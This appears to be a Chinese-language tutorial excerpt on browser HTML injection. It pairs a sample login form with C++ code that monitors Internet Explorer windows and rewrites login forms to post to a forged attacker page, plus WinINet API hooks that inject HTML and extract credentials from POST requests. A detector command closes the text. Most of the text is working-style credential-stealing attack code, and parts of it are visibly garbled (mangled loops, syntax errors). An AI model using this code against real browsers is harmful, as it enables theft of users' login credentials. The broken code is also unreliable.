<table width="300" align="center">
<tr>
<form method="post" action="checklogin.php">
<td>
<table width="100%">
<tr>
<td colspan="2"><b>会员登录</b></td>
</tr>
<tr>
<td>用户名:</td>
<td><input name="user" type="text" /></td>
</tr>
<tr>
<td>密码:</td>
<td><input name="pass" type="text" /></td>
</tr>
<tr>
<td>&nbsp;</td>
<td><input type="submit" name="submit" value="login" /></td>
</tr>
</table>
</td>
</form>
</tr>
</table>

int main(void)
{
	HRESULT hr;
	IShellWindows *shell;
	IDispatch *folder;
	IDispatch *html;
	IwebBrowser2 *browser;
	IHTMLDocument *doc;
	LONG Count;
	VARIANT vIndex;
	BOOL bDone = FALSE;

CoInitialize(NULL);

DWORD dwFlags = CLSCTX_REMOTE_SERVER|
CLSCTX_LOCAL_SERVER|
CLSCTX_INPROC_HANDLER|
CLSCTX_INPROC_SERVER;

//等待用户访问目标页面

while(1) {

//激活IShellWindows接口

hr = CoCreateInstance(CLSTD_ShellWindows,
NULL,dwFlags,
IID_IShellWindows, (void **)&shell);

if(hr != S_OK) {
printf("CoCreateInstance failed:0x%x!\n",hr);
break;
}

//遍历循环所有存在的窗口

shell->get_Count(&Count);
for(int i=0; iItem(vIndex, (IDispatch **)&folder);
if (hr !=S_OK || !folder) {
continue;
}

//尝试激活IWebBrowser2接口

hr = folder->QueryInterface(IID_IWebBrowser2,
(void **)&browser);
if (hr !=S_OK || !browser) {
folder->Release();
continue;
}

//当用户访问目标页面，等待页面加载完成，从浏览器提取IHTMLDocument接口，然后尝试进行注入HTML

if (IsReadyTarget(browser)) {
hr = browser->get_Document((IDispatch**)&html);
if (hr == S_OK && html) {
hr = html->QueryInterface(IID_IHTMLDocument2,
(void**)&doc);
if (hr == S_OK && doc) {
bDone = ReplaceForms(doc);
doc->Release();
}
html->Release();
}
}
browser->Release();
}

shell->Release();

//如果成功，结束循环

if(bDone) break;
Sleep(1000);
}

CoUninitialize();
return 0;
}

//当用户访问目标页面并且加载完毕，此函数将返回True

BOOL IsReadyTarget(IWebBrowser2 *browser)
{
HRESULT hr;
VARIANT_BOOL vBool;
BSTR bstrUrl;
BOOL bRet = FALSE;
LPWSTR szTarget = L"http://localhost/login.php"; //这是我的本地测试页面，具体情况具体修改！

//我们需要重视站点中可见的部分

browser->get_Visible(&vBool);
if (!vBool)
return FALSE;
//获取当前URL
hr = browser->get_LocationURL(&bstrUrl);
if (hr !=S_OK || !bstrUrl)
return FALSE;

//检查URL并等待加载
if (wcsstr((LPCWSTR)bstrUrl,szTarget) !=Null) {
do {
browser->get_Busy(&vBool);
Sleep(1000);
} while (vBool);
bRet = TRUE;
}
SysFreeString(bstrUrl);
return bRet;
}

BOOL ReplaceForms(IHTMLDocument2 *doc)
{
HRESULT hr;
IHTMLElementCollection *forms;
IHTMLFormElement *element;
IDispatch *theform;
VARIANT vEmpty;
VARIANT vIndexForms;
LONG CountForms;
BOOL bRet == FALSE;
BSTR bstrEvil = SysAllocString(L"http://localhost/nandi.php"); //这里是我伪造的action，具体情况具体分析

//查询doc表单
hr = doc->get_forms((IHTMLElementCollection**)&forms);

if (hr != S_OK || !forms)
return FALSE;

//在doc中循环每一个表单元素

forms->get_length(&CountForms);
for (int j=0; jitem(vIndexForms,vEmpty,(IDispatch**)&theform);
if (hr !=S_OK || !theform) {
continue;
}
//取得表单元素
hr = theform->QueryInterface(IID_IHTMLFormElement,
(void**)&element);
if (hr == S_OK && element) {
//替换action的地址
hr = element->put_action(bstrEvil);
if (hr == S_OK) {
bRet = TRUE;
}
element->Release();
}
theform->Release();
}

forms->Release();
SysFreeString(bstrEvil);
return bRet;
}

BOOL Hook_InternetReadFile(
  _in HINTERNET hFile,
  _out LPVOID lpBuffer
  _in DWORD dwNumberOfBytesToRead
  _out LPDWORD lpdwNumberOfBytesRead)
{
	//首先调用真正的函数

BOOL bRet = True_InternetReadFile(
hFile,
lpBuffer
dwNumberOfBytesToRead,
lpdwNumberOfBytesRead);

DWORD dwErr = GetLastError();

//判断用户是否访问目标页面

if (IsTarget(hInet)) {
InjectHTML(hInet,
lpBuffer,
lpdwNumberOfBytesRead);

}

SetLastError(dwErr);
return bRet;

}

BOOL Hook_HttpSendRequestA(
_in HINTERNET hRequest,
_in LPCTSTR lpszHeaders,
_in DWORD dwHeadersLength,
_in LPVOID lpOptional,
_in DWORD dwOptionalLength)

{
if (IsTarget(hRequest)) && //是否访问目标页面
lpOptional !=NULL && //判断POST的载荷是否存在
dwOptionalLength > 0) //判断POST的载荷是否存在

{
ExtractCredentials(
hRequest,
lpOptional,
dwOptionalLength);
}

//调用真正的函数

return True_HttpSendRequestA(
hRequest,
lpszHeaders,
dwHeadersLength,
lpOptional,
dwOptionalLength);

}

C:\>echo http://localhost/login.php ->url.txt
C:\>HtmlInjectionDetector.exe -f url.txt -s